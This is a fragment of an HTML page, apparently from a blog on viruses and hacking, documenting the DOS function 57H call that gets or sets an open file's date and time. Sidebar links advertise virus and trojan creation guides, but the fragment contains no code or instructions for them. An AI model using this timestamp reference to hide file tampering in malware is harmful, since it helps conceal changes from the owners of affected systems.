<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 57H </span></div>
<div dir="ltr" style="line-height: 1.19; margin-bottom: 0.15pt; margin-right: 86.7pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 0 to get the date/time </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 1 to set the date/time </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 1.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File Handle </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 2048*Hour + 32*Minute + Second/2 for set </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 512*(Year-1980) + 32*Month + Day for set</span></div>
</td></tr>
<tr style="height: 67px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code in the event of an error </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 2048*Hour + 32*Minute + Second/2 for get </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 512*(Year-1980) + 32*Month + Day for get</span></div>
</td></tr>
</tbody></table>
</div>
<span id="docs-internal-guid-ceacd65d-b576-c2c5-f69a-6b40b0efd26e"></span><br />
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function gets or sets the date/time information for an open file. This information is normally generated from the system clock date and time when a file is created or modified, but the programmer can use this function to modify the date/time at will. </span></div>
</div>

VIRUSES AND HACKING BIOS and DOS Interrupt Functions

All BIOS and DOS calls which are used are documented here. No attempt is made at an exhaustive list, since such information has been publ...

SHM-HACK

HOW TO CREATE DANGEROUS VIRUS THAT CAN CRASH COMPUTER

How To Create Your Own Anti-Virus?

How to Make your own TROJAN VIRUS

BIOS and DOS Interrupt Functions

Trending Topics

Translate